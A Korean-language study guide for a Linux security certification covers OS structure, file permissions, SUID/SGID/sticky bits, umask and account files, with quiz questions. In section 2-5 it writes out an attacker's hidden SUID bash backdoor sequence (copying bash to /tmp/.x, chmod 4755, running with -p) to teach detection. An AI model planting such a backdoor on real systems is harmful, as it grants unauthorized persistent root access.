Week02_운영체제 기초
Week 02 · 운영체제 기초
Day 1 · 운영체제 개념 · 리눅스 디렉터리 · 파일 권한
1-1. 운영체제(OS)는 무엇을 하나
운영체제는 하드웨어(CPU, 메모리, 디스크, 네트워크 카드)와 사용자 프로그램 사이의 관리자다. 프로그램들이 하드웨어를 서로 차지하려고 싸우지 않도록 순서를 정하고, 서로의 영역을 침범하지 못하게 막는다.
건물에 비유하면 OS는 관리사무소다. 입주자(프로그램)는 전기·수도(하드웨어)를 직접 만지지 않고 관리사무소에 요청한다. 관리사무소는 누가 어디에 들어갈 수 있는지(권한)도 관리한다.
┌───────────────────────────────────────────┐
│ 사용자 │
├───────────────────────────────────────────┤
│ 응용 프로그램 (vi, apache, mysql ...) │
├───────────────────────────────────────────┤
│ 셸(Shell) : 사용자 명령을 해석해 커널에 전달 │ ← bash, sh, zsh / 윈도우 cmd, PowerShell
├───────────────────────────────────────────┤
│ 커널(Kernel) : OS의 핵심 │ ← 프로세스·메모리·파일시스템·장치·네트워크 관리
├───────────────────────────────────────────┤
│ 하드웨어 (CPU, 메모리, 디스크, NIC) │
└───────────────────────────────────────────┘
| 구성 | 역할 |
|---|---|
| 커널 | 프로세스 관리(스케줄링), 메모리 관리, 파일 시스템, 장치 드라이버, 네트워크 스택. 부팅 시 메모리에 올라가 계속 상주 |
| 셸 | 사용자가 입력한 명령을 해석해 실행하는 명령어 해석기. 커널과 사용자 사이의 "통역사" |
| 유틸리티/응용 | ls, cp, 웹서버 등 실제 일을 하는 프로그램 |
1-2. 사용자 모드 vs 커널 모드, 시스템 콜
CPU는 실행 권한 단계를 나눈다. 일반 프로그램은 사용자 모드(User mode) 에서 제한된 명령만 실행하고, 하드웨어를 직접 만지는 위험한 일은 커널 모드(Kernel mode) 에서만 가능하다. x86에서는 Ring 0(커널) ~ Ring 3(사용자)로 부른다.
프로그램이 파일을 읽거나 네트워크로 보내려면 커널에 "대신 해 주세요"라고 요청하는데, 이것이 시스템 콜(System Call) 이다(예: open, read, write, fork, execve).
[사용자 모드] 프로그램: read() 호출
│ 시스템 콜 (모드 전환)
▼
[커널 모드] 커널: 권한 확인 → 디스크에서 읽기 → 결과 복사
│ 복귀
▼
[사용자 모드] 프로그램: 데이터 받음
보안 의미: 커널 모드에서 실행되는 코드(드라이버, 커널 모듈)에 취약점이 있으면 시스템 전체가 장악된다. 루트킷 중 커널 모듈 형태(LKM 루트킷)가 위험한 이유다.
1-3. 프로세스와 메모리 구조
- 프로그램: 디스크에 저장된 실행 파일(정적). 프로세스: 메모리에 올라가 실행 중인 프로그램(동적).
- 각 프로세스는 PID(프로세스 ID)를 가지며, 자신을 만든 부모의 PID는 PPID. 리눅스에서 PID 1은 최초 프로세스(
init또는 최신 배포판의systemd). - 스레드: 한 프로세스 안에서 메모리를 공유하며 동시에 실행되는 흐름.
- 데몬(Daemon): 백그라운드에서 계속 돌며 서비스를 제공하는 프로세스(
sshd,httpd,crond). 윈도우의 "서비스"와 같다. - 좀비 프로세스: 종료됐지만 부모가 종료 상태를 거둬가지 않아 프로세스 표에 남은 것(
ps의 STATZ). 고아 프로세스: 부모가 먼저 죽은 프로세스(init/systemd가 입양). - 프로세스 상태: 생성 → 준비(Ready) → 실행(Running) → 대기(Waiting/Blocked) → 종료
프로세스 메모리 구조 — 버퍼 오버플로우를 이해하는 핵심 그림
높은 주소
┌──────────────────────┐
│ 스택 (Stack) │ 지역 변수, 함수 인자, **복귀 주소(Return Address)**
│ ↓ 아래로 자람 │ → 스택 버퍼 오버플로우로 복귀 주소를 덮어써 흐름 탈취
├──────────────────────┤
│ (빈 공간) │
├──────────────────────┤
│ ↑ 위로 자람 │
│ 힙 (Heap) │ 실행 중 동적 할당 (malloc, new) → 힙 오버플로우, UAF
├──────────────────────┤
│ BSS │ 초기화하지 않은 전역·정적 변수
├──────────────────────┤
│ 데이터 (Data) │ 초기화된 전역·정적 변수
├──────────────────────┤
│ 코드 (Text/Code) │ 기계어 명령. 보통 읽기 전용
└──────────────────────┘
낮은 주소
- 대응 기술 미리보기: ASLR(주소 무작위화), DEP/NX(스택·힙에서 코드 실행 금지), 스택 카나리(복귀 주소 앞 감시값). → Week08_시스템 보안
1-4. 리눅스 디렉터리 구조
리눅스는 모든 것이 /(루트 디렉터리) 하나에서 시작하는 나무 구조다. 윈도우처럼 C:, D: 드라이브로 나뉘지 않고, 다른 디스크도 특정 디렉터리에 마운트해서 붙인다.
| 경로 | 내용 | 보안 메모 |
|---|---|---|
/bin, /sbin |
기본 명령 / 시스템 관리 명령 (최신 배포판은 /usr/bin, /usr/sbin으로 통합되고 링크만 남은 경우 많음) |
명령 바꿔치기(트로이목마) 확인 |
/etc |
설정 파일 (passwd, shadow, ssh, cron 등) | 점검의 1순위 |
/home |
일반 사용자 홈 디렉터리 | |
/root |
root의 홈 | |
/var |
자주 변하는 데이터. /var/log 로그, /var/spool 메일·cron 대기열 |
로그 분석 |
/tmp |
임시 파일, 누구나 쓰기 가능 (Sticky bit) | 공격 도구 업로드 장소로 자주 쓰임 |
/dev |
장치 파일 (/dev/sda 디스크, /dev/null) |
/dev에 일반 파일이 있으면 은닉 의심 |
/proc |
커널·프로세스 정보를 보여주는 가상 파일시스템 (/proc/<PID>/) |
실행 중 프로세스 분석 |
/boot |
커널, 부트로더 | |
/usr |
프로그램, 라이브러리, 문서 | |
/lib, /lib64 |
공유 라이브러리 | 라이브러리 변조 |
/opt |
추가 설치 프로그램 | |
/mnt, /media |
마운트 지점 |
1-5. 파일 종류와 ls -l 읽기
리눅스는 "모든 것은 파일" 이라는 철학이라 장치·소켓도 파일로 다룬다. ls -l 첫 글자가 파일 종류다.
| 기호 | 종류 | 예 |
|---|---|---|
- |
일반 파일 | 텍스트, 실행 파일 |
d |
디렉터리 | /etc |
l |
심볼릭 링크 | /bin → usr/bin |
b |
블록 장치 (블록 단위 입출력) | /dev/sda |
c |
문자 장치 (문자 단위 입출력) | /dev/tty, /dev/null |
p |
파이프(FIFO) | |
s |
소켓 | /run/...sock |
$ ls -l /etc/passwd /usr/bin/passwd /tmp -d
-rw-r--r--. 1 root root 2412 Nov 16 09:10 /etc/passwd
-rwsr-xr-x. 1 root root 32648 Aug 10 2025 /usr/bin/passwd
drwxrwxrwt. 18 root root 4096 Nov 16 09:30 /tmp
-rw-r--r--. 1 root root 2412 Nov 16 09:10 /etc/passwd
│└──┬────┘│ │ │ │ │ │ └ ⑧ 이름
│ │ │ │ │ │ │ └ ⑦ 마지막 수정 시각(mtime)
│ │ │ │ │ │ └ ⑥ 크기(바이트)
│ │ │ │ │ └ ⑤ 소유 그룹
│ │ │ │ └ ④ 소유자
│ │ │ └ ③ 하드 링크 수
│ │ └ ② `.` = SELinux 보안 컨텍스트 있음 / `+` = ACL 설정 있음 (배포판·설정에 따라 표시)
│ └ 권한 9자리 (소유자 3 / 그룹 3 / 기타 3)
└ ① 파일 종류
1-6. 권한 rwx — 파일과 디렉터리는 의미가 다르다
권한은 소유자(user, u) / 그룹(group, g) / 기타(other, o) 세 부류에 각각 읽기(r) / 쓰기(w) / 실행(x) 을 준다.
| 권한 | 파일에서 | 디렉터리에서 |
|---|---|---|
| r (4) | 내용 읽기 (cat) |
안에 있는 파일 이름 목록 보기 (ls) |
| w (2) | 내용 수정 | 안에 파일 생성·삭제·이름 변경 (x도 있어야 실제 가능) |
| x (1) | 실행 | 디렉터리 진입(cd)·통과, 안의 파일에 접근 |
파일을 지우는 것은 "디렉터리 목록에서 이름을 빼는 일"이다. 그래서 파일 자체에 w가 없어도, 그 파일이 든 디렉터리에 w+x가 있으면 삭제할 수 있다. 반대로 파일에 w가 있어도 디렉터리에 w가 없으면 삭제할 수 없다(내용 수정은 가능). → 그래서 누구나 쓰는 /tmp에는 Sticky bit가 필요하다(Day 2).
- 디렉터리 r만 있고 x가 없으면: 이름 목록은 보이지만 파일 속성·내용에 접근 못 함.
- 디렉터리 x만 있고 r이 없으면: 목록은 못 보지만 정확한 이름을 알면 그 파일에 접근 가능.
1-7. 숫자 표기 변환 연습
r=4, w=2, x=1을 더한다. 세 자리 = 소유자·그룹·기타.
r w x r - x r - -
4+2+1 4+0+1 4+0+0
7 5 4 → 754
| 문자 표기 | 숫자 | 설명 |
|---|---|---|
rwxr-xr-x |
755 | 실행 파일, 디렉터리 기본 |
rw-r--r-- |
644 | 일반 파일 기본 |
rw------- |
600 | 소유자만 읽기·쓰기 (/etc/shadow를 이렇게 두는 배포판도 있음, 개인키 파일) |
rwx------ |
700 | 소유자 전용 디렉터리 |
rw-r----- |
640 | 그룹까지만 읽기 |
r-------- |
400 | 소유자 읽기만 |
rwxrwxrwx |
777 | 모두 모든 권한 (위험) |
--------- |
000 | 아무 권한 없음 (root는 읽기·쓰기 가능) |
드릴 (가리고 풀어보기)
| 문제 | 답 |
|---|---|
rwxr-x--- |
750 |
rw-rw-r-- |
664 |
r-xr-xr-x |
555 |
-wx-w---x |
321 |
| 711 | rwx--x--x |
| 640 | rw-r----- |
| 444 | r--r--r-- |
1-8. chmod · chown · chgrp
$ chmod 640 report.txt # 숫자 방식
$ chmod u+x,g-w,o= script.sh # 기호 방식: 소유자 x 추가, 그룹 w 제거, 기타 권한 모두 제거
$ chmod a+r notice.txt # a = all(u,g,o 모두)
$ chmod -R 750 /data/project # -R = 하위 전체 재귀 적용
$ chown user1 file # 소유자 변경
$ chown user1:dev file # 소유자와 그룹 동시 변경
$ chown -R www-data:www-data /var/www
$ chgrp dev file # 그룹만 변경
- 기호 방식 연산자:
+추가,-제거,=정확히 이 값으로 설정 - 소유자 변경(chown)은 root만 가능(일반 사용자가 남에게 파일을 떠넘겨 할당량을 우회하거나 책임을 전가하는 걸 막음).
- chgrp: 파일 소유자는 자신이 속한 그룹으로만 바꿀 수 있다.
- root는 파일 권한 비트와 관계없이 읽고 쓸 수 있다(실행은 x가 하나라도 있어야 함).
⚠️ 시험 함정
- 디렉터리 w = 파일 생성·삭제. "파일을 삭제하려면 파일에 w 권한이 필요하다"(X).
- 디렉터리 x가 없으면
cd불가. r만으로는 진입할 수 없다. ls -l의 두 번째 열은 링크 수지 파일 개수나 권한이 아니다.- 커널 = 핵심 관리자, 셸 = 명령어 해석기. 역할을 바꿔 놓은 보기.
- 스택은 높은 주소 → 낮은 주소로, 힙은 낮은 → 높은 방향으로 자란다.
b는 블록 장치,c는 문자 장치.l(링크)과-(일반)를 혼동시키는 보기.
기출 포인트
- 권한 변환:
ls -l한 줄을 주고 숫자로 바꾸거나, 숫자를 주고 기호로 바꾸는 단답형(실기)과 객관식(필기) 모두 단골. - 디렉터리 권한의 의미: "다른 사용자가 이 디렉터리 안 파일을 지울 수 있는가" 같은 상황 판단형.
- OS 구성요소: 커널/셸/유틸리티 역할, 사용자 모드/커널 모드, 시스템 콜 개념.
- 메모리 구조: 지역 변수·복귀 주소가 저장되는 영역(스택), 동적 할당 영역(힙)을 묻는다. 버퍼 오버플로우 문제와 직결.
- 디렉터리 용도:
/etc(설정),/var/log(로그),/tmp(임시, Sticky),/proc(가상 파일시스템) 매칭.
확인 문제
Q1. drwxr-x--x인 디렉터리에 대한 설명으로 옳은 것은? (사용자는 소유자도 그룹도 아닌 기타 사용자)
① 디렉터리 안 파일 목록을 ls로 볼 수 있다.
② 디렉터리에 새 파일을 만들 수 있다.
③ 파일 이름을 정확히 알고 해당 파일에 권한이 있으면 접근할 수 있다.
④ 디렉터리 안 파일을 삭제할 수 있다.
정답: ③
- 기타 권한은
--x→ 진입·통과만 가능. - ① 틀림: r이 없어 목록을 볼 수 없다.
- ② ④ 틀림: w가 없어 생성·삭제 불가.
- ③ 맞음: x만 있으면 이름을 아는 파일에는 (그 파일 권한에 따라) 접근 가능.
Q2. -rw-r-----를 숫자로 표현한 것은?
① 620 ② 640 ③ 660 ④ 750
정답: ②
- rw- = 6, r-- = 4, --- = 0 → 640.
- ① 620은 rw--w----, ③ 660은 rw-rw----, ④ 750은 rwxr-x---.
Q3. 함수의 지역 변수와 복귀 주소가 저장되어 버퍼 오버플로우 공격의 주요 표적이 되는 메모리 영역은?
① 코드 영역 ② 데이터 영역 ③ 힙 영역 ④ 스택 영역
정답: ④
- ① 틀림: 기계어 명령, 보통 읽기 전용.
- ② 틀림: 초기화된 전역·정적 변수.
- ③ 틀림: malloc 등 동적 할당 영역(힙 오버플로우는 별도 공격).
- ④ 맞음.
Q4. 사용자 user1이 자기 소유 파일 a.txt의 소유자를 user2로 바꾸려고 chown user2 a.txt를 실행했다. 일반적인 리눅스에서 결과는?
① 성공한다. 소유자는 언제든 소유권을 넘길 수 있다.
② 실패한다. 소유자 변경은 root(또는 해당 권한 보유자)만 가능하다.
③ 성공하지만 그룹도 자동으로 user2로 바뀐다.
④ user2의 승인을 받으면 성공한다.
정답: ②
- 리눅스는 일반 사용자의 소유권 양도를 허용하지 않는다(디스크 할당량 우회·책임 회피 방지).
- ①③④ 모두 이 원칙에 어긋난다. ④ 같은 "승인" 절차는 존재하지 않는다.
Q5. 셸(Shell)에 대한 설명으로 가장 적절한 것은?
① 하드웨어를 직접 제어하며 메모리와 프로세스를 관리하는 OS의 핵심이다.
② 사용자가 입력한 명령을 해석하여 커널에 전달하는 명령어 해석기이다.
③ 부팅 시 가장 먼저 실행되는 PID 1 프로세스이다.
④ 디스크를 블록 단위로 관리하는 파일 시스템이다.
정답: ②
- ① 틀림: 커널 설명.
- ③ 틀림: PID 1은 init/systemd.
- ④ 틀림: 파일 시스템(ext4, xfs 등) 설명.
Day 2 · 특수 권한(SUID/SGID/Sticky) · umask
2-1. 왜 특수 권한이 필요한가
/etc/shadow(비밀번호 해시)는 root만 쓸 수 있다. 그런데 일반 사용자도 passwd 명령으로 자기 비밀번호를 바꿀 수 있다. 어떻게? passwd 실행 파일에 SUID가 걸려 있어서, 실행하는 동안 파일 소유자(root)의 권한으로 동작하기 때문이다.
비유: 평직원이 금고(shadow)를 직접 열 수는 없지만, "이 양식(passwd)을 쓰면 금고 담당자 권한으로 처리해 준다" 는 위임장이 붙은 창구가 있는 셈이다. 창구 직원(프로그램)이 정해진 일만 한다면 안전하지만, 창구에 허점(취약점)이 있으면 평직원이 금고 담당자 권한을 통째로 얻는다.
2-2. 세 가지 특수 권한
| 권한 | 숫자 | 표시 위치 | 파일에 걸면 | 디렉터리에 걸면 | 대표 예 |
|---|---|---|---|---|---|
| SUID (Set User ID) | 4000 | 소유자 x 자리 → s |
실행하는 동안 파일 소유자의 권한(유효 UID) | 리눅스에서는 무시됨 | /usr/bin/passwd (-rwsr-xr-x) |
| SGID (Set Group ID) | 2000 | 그룹 x 자리 → s |
실행하는 동안 파일 소유 그룹의 권한 | 안에 만든 파일이 디렉터리의 그룹을 상속 (협업 폴더) | 일부 배포판의 write, wall 등 |
| Sticky bit | 1000 | 기타 x 자리 → t |
(리눅스에서는 의미 없음) | 안의 파일을 소유자(파일 주인·디렉터리 주인·root)만 삭제·이름 변경 | /tmp (drwxrwxrwt) |
-rwsr-xr-x → 4755 (SUID + 755)
-rwxr-sr-x → 2755 (SGID + 755)
drwxrwxrwt → 1777 (Sticky + 777)
-rwsr-sr-x → 6755 (SUID + SGID + 755)
대문자 S, T의 의미: 특수 권한은 켜져 있는데 그 자리의 실행 권한 x가 없는 상태.
-rwSr--r-- → 4644 (SUID 있음, 소유자 x 없음 → 실행 자체가 안 돼 사실상 무의미한 설정)
drwxrwxrwT → 1776 (Sticky 있음, 기타 x 없음)
변환 요령: 소문자 s/t = 특수권한 + x, 대문자 S/T = 특수권한만.
2-3. Sticky bit가 왜 /tmp에 필요한가
/tmp는 모든 사용자가 임시 파일을 만들어야 해서 rwxrwxrwx가 필요하다. 그런데 Day 1에서 배운 대로 디렉터리 w가 있으면 남의 파일도 지울 수 있다. user1이 user2의 임시 파일을 지우거나 바꿔치기할 수 있게 된다.
Sticky bit를 걸면 "쓰기는 누구나, 지우기는 주인만"이 된다.
$ ls -ld /tmp
drwxrwxrwt. 18 root root 4096 Nov 16 09:30 /tmp
$ ls -l /tmp/data.txt
-rw-rw-rw-. 1 user2 user2 10 Nov 16 09:31 /tmp/data.txt
$ whoami
user1
$ rm /tmp/data.txt
rm: cannot remove '/tmp/data.txt': Operation not permitted ← 파일이 666이어도 삭제 불가
2-4. 설정·해제 명령
$ chmod u+s file # SUID 설정 (= chmod 4755 file 처럼 숫자 앞자리 4)
$ chmod g+s dir # SGID 설정
$ chmod +t dir # Sticky 설정 (= chmod 1777 dir)
$ chmod u-s file # SUID 제거
$ chmod 0755 file # 숫자로 특수권한까지 0으로 지정 (일반 파일 기준)
- GNU chmod는 디렉터리의 SUID/SGID 비트를 숫자 모드만으로는 지우지 않는 등 세부 동작이 있으므로, 제거는
u-s,g-s처럼 기호로 명시하는 편이 확실하다.
2-5. SUID의 보안 위험과 점검
root 소유 SUID 파일은 누가 실행하든 root 권한으로 돈다. 그래서:
- 그 프로그램에 버퍼 오버플로우 등 취약점이 있으면 → 일반 사용자가 root 셸 획득(권한 상승).
- 셸 실행 기능이 있는 프로그램(편집기, 인터프리터 등)에 SUID가 붙으면 → 그 기능으로 root 셸 실행.
- 공격자가 침투 후
/bin/bash복사본에 SUID를 걸어 숨겨 두면 → 백도어.
# 침해 흔적 예: 숨겨진 SUID 셸
# cp /bin/bash /tmp/.x ; chmod 4755 /tmp/.x ← 공격자가 root일 때 심어둠
$ /tmp/.x -p ← 나중에 일반 사용자로 실행, -p는 권한 유지
# id
uid=1001(user1) gid=1001(user1) euid=0(root) ← 유효 UID가 root
find로 점검하기
| 명령 | 의미 |
|---|---|
find / -user root -perm -4000 -type f 2>/dev/null |
root 소유 + SUID 설정된 일반 파일 |
find / -perm -2000 -type f 2>/dev/null |
SGID 설정 파일 |
find / -perm -6000 -type f |
SUID 와 SGID 둘 다 설정된 파일 |
find / -perm /6000 -type f |
SUID 또는 SGID 중 하나라도 (GNU find. 옛 문법 +6000) |
find / -type f -perm -2 -exec ls -l {} \; |
기타 사용자 쓰기 가능(world-writable) 파일 |
find / -nouser -o -nogroup |
소유자·그룹이 존재하지 않는 파일 (삭제된 계정 흔적·공격자 파일) |
find / -mtime -1 |
최근 1일 내 수정된 파일 |
-perm -4000: 지정 비트가 모두 켜져 있으면 일치 (다른 비트는 상관없음)-perm 4000: 권한이 정확히 4000이어야 일치 (실무에서 거의 안 씀)2>/dev/null: 권한 없는 디렉터리에서 나오는 오류 메시지를 버림- 대응: 불필요한 SUID 제거(
chmod u-s), 목록을 기준선(baseline)으로 저장해 두고 주기적으로 비교, 사용자 쓰기 가능한 파티션(/tmp, /home)은nosuid옵션으로 마운트.
2-6. umask — 새 파일의 기본 권한
파일을 새로 만들 때마다 chmod 하기 번거로우니, 시스템은 기본 최대 권한에서 umask 값을 "가린(mask)" 결과를 새 파일에 준다.
- 기본 최대: 파일 666(rw-rw-rw-, 새 파일에 실행 권한은 기본으로 주지 않음), 디렉터리 777
- umask의 1인 비트를 끈다. 정확한 계산은
최대값 AND (NOT umask)이다.
드릴 ①: umask 022
파일: 666 → 110 110 110
umask: 022 → 000 010 010 (이 비트를 끈다)
결과: 110 100 100 → 644 (rw-r--r--)
디렉터리: 777 → 111 101 101 → 755 (rwxr-xr-x)
드릴 ②: umask 027
파일: 6 / 6&~2=4 / 6&~7=0 → 640
디렉터리: 7 / 7&~2=5 / 7&~7=0 → 750
드릴 ③: umask 033 (뺄셈 함정!)
단순 뺄셈: 666 − 033 = 633 → 틀린 답 (rw--wx-wx 처럼 없던 x가 생김)
비트 연산: 6 = 110, 3 = 011 → 110 AND 100 = 100 = 4
→ 파일 644, 디렉터리 744
| umask | 파일 | 디렉터리 | 쓰임 |
|---|---|---|---|
| 022 | 644 | 755 | 일반적인 기본값 |
| 002 | 664 | 775 | 그룹 협업 (일부 배포판의 일반 사용자 기본값) |
| 027 | 640 | 750 | 보안 권고 (기타 사용자 접근 차단) |
| 077 | 600 | 700 | 가장 엄격 (본인만) |
| 033 | 644 | 744 | 뺄셈 함정용 |
$ umask
0022
$ umask -S
u=rwx,g=rx,o=rx
$ umask 027 # 현재 셸에만 적용
$ touch a ; mkdir b ; ls -ld a b
-rw-r-----. 1 user1 user1 0 Nov 17 10:00 a
drwxr-x---. 2 user1 user1 4096 Nov 17 10:00 b
0022의 첫 0은 특수 권한 자리.- 영구 설정 위치:
/etc/profile,/etc/bashrc(RHEL) 또는/etc/bash.bashrc(Debian), 사용자별~/.bashrc·~/.bash_profile,/etc/login.defs의UMASK(pam_umask 사용 시 로그인 세션에 적용). 배포판마다 어디서 최종 적용되는지 다르다. - 이미 존재하는 파일에는 영향이 없다(새로 만드는 것에만).
⚠️ 시험 함정
- SUID는 파일 소유자, SGID는 파일 소유 그룹의 권한으로 실행. "실행한 사용자의 권한으로 실행"(X) — 그건 보통 파일.
- Sticky bit는 디렉터리에 의미가 있다. "실행 파일에 Sticky를 걸면 메모리에 상주"는 옛 유닉스 이야기로 리눅스에선 무시.
-perm -4000(모두 포함) vs-perm /4000(하나라도) vs-perm 4000(정확히).- 대문자
S/T= 해당 자리 x 없음.-rwSr--r--을 4744로 계산하면 틀림 → 4644. - umask는 빼기가 아니라 비트 마스킹. 022·027처럼 짝수만 있으면 뺄셈 결과가 우연히 같지만, 033·037 같은 홀수가 끼면 다르다.
- 파일 기본 최대값은 666(777 아님).
기출 포인트
- 특수 권한 숫자 변환:
-rwsr-xr-x→ 4755,drwxrwxrwt→ 1777 같은 변환은 필기·실기 모두 거의 매회 형태를 바꿔 나온다. - SUID 점검 명령 빈칸:
find / -user root -perm ____ -type f에 들어갈 값(-4000)을 쓰게 하는 실기 단답형. - Sticky bit 의미:
/tmp의 권한과 이유(남의 파일 삭제 방지)를 묻는다. - umask 계산: umask 값을 주고 생성될 파일·디렉터리 권한을 고르게 하거나, 원하는 권한을 주고 umask를 역산하게 한다. 보안 권고값(022 이상, 027 등)도 함께 묻는다.
확인 문제
Q1. -rwsr-x--- 권한을 숫자로 나타낸 것은?
① 2750 ② 4750 ③ 4740 ④ 1750
정답: ②
- 소유자 자리 소문자
s= SUID(4000) + x. rwx=7, r-x=5, ---=0 → 4750. - ① 2750은 SGID(그룹 자리 s).
- ③ 4740은 그룹 x가 없는 경우(
-rwsr-----). - ④ 1750은 Sticky(기타 자리 t).
Q2. umask가 037일 때 새로 생성되는 일반 파일의 권한은?
① 629 ② 640 ③ 630 ④ 740
정답: ②
- 666에서 비트 마스킹: 6 / 6&~3 = 110&100 = 4 / 6&~7 = 0 → 640.
- ① 숫자 9는 권한에 존재하지 않는다.
- ③ 단순 뺄셈(666−037)으로 생기는 오답. 실제로 없던 권한(x)이 생길 수 없다.
- ④ 디렉터리(777)였다면 7 / 7&~3=4 / 0 → 740. 파일과 혼동한 답.
Q3. /tmp 디렉터리에 Sticky bit를 설정하는 주된 이유는?
① 디렉터리 안 파일을 root만 읽을 수 있게 하기 위해
② 누구나 파일을 만들 수 있되, 파일 소유자만 자신의 파일을 삭제할 수 있게 하기 위해
③ 디렉터리 안에서 실행되는 프로그램이 root 권한을 갖게 하기 위해
④ 새로 만든 파일이 디렉터리 그룹을 상속하게 하기 위해
정답: ②
- ① 틀림: 읽기 제한 기능이 아니다.
- ③ 틀림: SUID 설명과 혼동.
- ④ 틀림: 디렉터리 SGID 설명.
Q4. SUID와 SGID가 모두 설정된 파일만 찾는 명령으로 옳은 것은?
① find / -perm -6000 -type f ② find / -perm /6000 -type f ③ find / -perm 6000 -type f ④ find / -perm -1000 -type f
정답: ①
- ① 맞음:
-는 지정한 비트(4000, 2000)가 모두 켜진 파일. - ② 틀림:
/는 하나라도 켜진 파일(OR). - ③ 틀림: 권한이 정확히 6000(
---S--S---)인 파일만 찾는다. - ④ 틀림: Sticky bit 검색.
Q5. root 소유 SUID 실행 파일이 보안상 위험한 이유로 가장 적절한 것은?
① 파일 내용이 암호화되지 않아서
② 일반 사용자가 실행해도 root 권한으로 동작하므로 취약점 악용 시 권한 상승이 가능해서
③ 파일 크기가 커져 디스크를 고갈시켜서
④ 실행할 때마다 로그가 남지 않아서
정답: ②
- ① ③ 틀림: SUID와 무관.
- ④ 틀림: SUID 자체가 로깅 여부를 결정하지 않는다. 핵심은 유효 UID가 root가 된다는 점.
Day 3 · 계정 관리 파일 · 패스워드 해시 · PAM · su/sudo
3-1. 리눅스는 사용자를 숫자로 기억한다
리눅스 커널은 사용자 이름이 아니라 UID(User ID) 숫자로 사람을 구분한다. 이름 ↔ UID 대응표가 /etc/passwd다. 그룹도 마찬가지로 GID.
| UID | 의미 |
|---|---|
| 0 | root(최고 관리자). 이름이 무엇이든 UID가 0이면 root 권한 |
| 1 ~ 999 | 시스템 계정(daemon, apache, mysql 등 서비스용). 옛 RHEL(6 이하)은 1~499 |
| 1000 ~ | 일반 사용자 (범위는 /etc/login.defs의 UID_MIN, UID_MAX로 결정) |
3-2. /etc/passwd — 7개 필드
/etc/passwd는 누구나 읽을 수 있어야 한다(ls가 UID를 이름으로 바꿔 보여주는 등 여러 프로그램이 참조). 그래서 비밀번호 해시는 여기서 빼서 /etc/shadow로 옮겼다.
user1:x:1001:1001:Hong Gildong,,,:/home/user1:/bin/bash
① ② ③ ④ ⑤ ⑥ ⑦
| 번호 | 필드 | 설명 | 점검 포인트 |
|---|---|---|---|
| ① | 사용자 이름 | 로그인 이름 | |
| ② | 비밀번호 | x = 실제 해시는 /etc/shadow에 있음 |
x가 아니고 해시가 있으면 shadow 미사용(취약), 비어 있으면 비밀번호 없이 로그인 가능할 수 있어 매우 위험 |
| ③ | UID | 사용자 번호 | root 외에 UID 0인 계정 = 백도어 의심 |
| ④ | GID | 기본 그룹 번호 | |
| ⑤ | GECOS(설명) | 실명, 연락처 등 | |
| ⑥ | 홈 디렉터리 | 로그인 시 시작 위치 | |
| ⑦ | 로그인 셸 | 로그인 후 실행할 셸 | 로그인 불필요한 시스템 계정은 /sbin/nologin 또는 /bin/false |
예시로 판독하기
root:x:0:0:root:/root:/bin/bash ← 정상 root
bin:x:1:1:bin:/bin:/sbin/nologin ← 시스템 계정, 로그인 차단 (정상)
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin ← 서비스 계정 (정상)
user1:x:1001:1001::/home/user1:/bin/bash ← 일반 사용자
backup2:x:0:0::/home/backup2:/bin/bash ← ⚠️ UID 0! root와 동일 권한 → 백도어 의심
test::1002:1002::/home/test:/bin/bash ← ⚠️ 비밀번호 필드가 비어 있음
점검 명령:
$ awk -F: '$3 == 0 {print $1}' /etc/passwd # UID가 0인 계정 이름 출력
root
backup2
/sbin/nologin: 로그인 시도 시 "This account is currently not available." 메시지를 띄우고 거부./bin/false: 아무 메시지 없이 즉시 종료.
3-3. /etc/shadow — 9개 필드
root만 읽을 수 있는 파일(권한은 배포판에 따라 400, 000, 640 root:shadow 등). 비밀번호 해시와 비밀번호 수명 정책이 들어 있다.
user1:$6$Xy7Qp2Lm$k9Jd...(생략)...F1:20400:1:90:7:30::
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨
| 번호 | 필드 | 예시 값 | 의미 |
|---|---|---|---|
| ① | 사용자 이름 | user1 | |
| ② | 암호화된 비밀번호 | $6$salt$hash |
해시 (아래 3-4) |
| ③ | 마지막 변경일 | 20400 | 1970-01-01부터 며칠째인지 (0이면 다음 로그인 때 변경 강제) |
| ④ | 최소 사용 기간 | 1 | 변경 후 최소 1일은 다시 못 바꿈 (바로 예전 비밀번호로 되돌리는 것 방지) |
| ⑤ | 최대 사용 기간 | 90 | 90일마다 변경해야 함 |
| ⑥ | 경고 기간 | 7 | 만료 7일 전부터 경고 |
| ⑦ | 비활성 기간 | 30 | 만료 후 30일이 지나면 계정 비활성화 |
| ⑧ | 계정 만료일 | (빈칸) | 1970-01-01부터의 일수. 이 날 이후 로그인 불가 |
| ⑨ | 예약 |
② 필드의 특수 값
| 값 | 의미 |
|---|---|
* |
비밀번호로 로그인 불가 (시스템 계정에 흔함) |
! 또는 !! |
잠김 / 비밀번호 미설정 (!!는 RHEL에서 계정 생성 후 비밀번호를 아직 안 정한 상태) |
!$6$... |
passwd -l로 잠근 계정 — 해시 앞에 !가 붙어 어떤 비밀번호도 일치하지 않음. passwd -u로 해제 |
| (빈칸) | 비밀번호 없음 → 매우 위험 |
$ sudo chage -l user1
Last password change : Nov 08, 2025
Password expires : Feb 06, 2026
Password inactive : Mar 08, 2026
Account expires : never
Minimum number of days between password change : 1
Maximum number of days between password change : 90
Number of days of warning before password expires : 7
chage -M 90 user1(최대),-m 1(최소),-W 7(경고),-E 2026-12-31(계정 만료일)로 개별 설정.
3-4. 비밀번호 해시와 Salt
리눅스는 비밀번호를 그대로 저장하지 않고 일방향 해시만 저장한다. 로그인할 때 입력값을 같은 방식으로 해시해서 저장값과 비교한다.
형식: $ID$salt$hash
| ID | 알고리즘 | 비고 |
|---|---|---|
$1$ |
MD5 기반 | 취약, 사용 금지 |
$2a$, $2b$, $2y$ |
bcrypt | 일부 배포판 지원 |
$5$ |
SHA-256 기반 | |
$6$ |
SHA-512 기반 | RHEL 계열 기본(오래 쓰인 표준) |
$y$ |
yescrypt | Debian 11+, Ubuntu 22.04+, Fedora 35+ 등 최신 배포판 기본 |
($ 없이 13글자) |
옛 DES crypt | 매우 취약 |
Salt가 필요한 이유
- Salt = 해시 전에 비밀번호에 섞는 사용자별 무작위 문자열.
- Salt 없이 해시하면 같은 비밀번호 → 같은 해시. 공격자는 미리 계산해 둔 해시 표(레인보우 테이블)로 즉시 찾아낸다.
- Salt가 있으면 같은
P@ssw0rd라도 사용자마다 해시가 다르고, 미리 계산한 표가 무용지물이 된다.
user1: P@ssw0rd + salt "Xy7Qp2Lm" → $6$Xy7Qp2Lm$k9Jd...
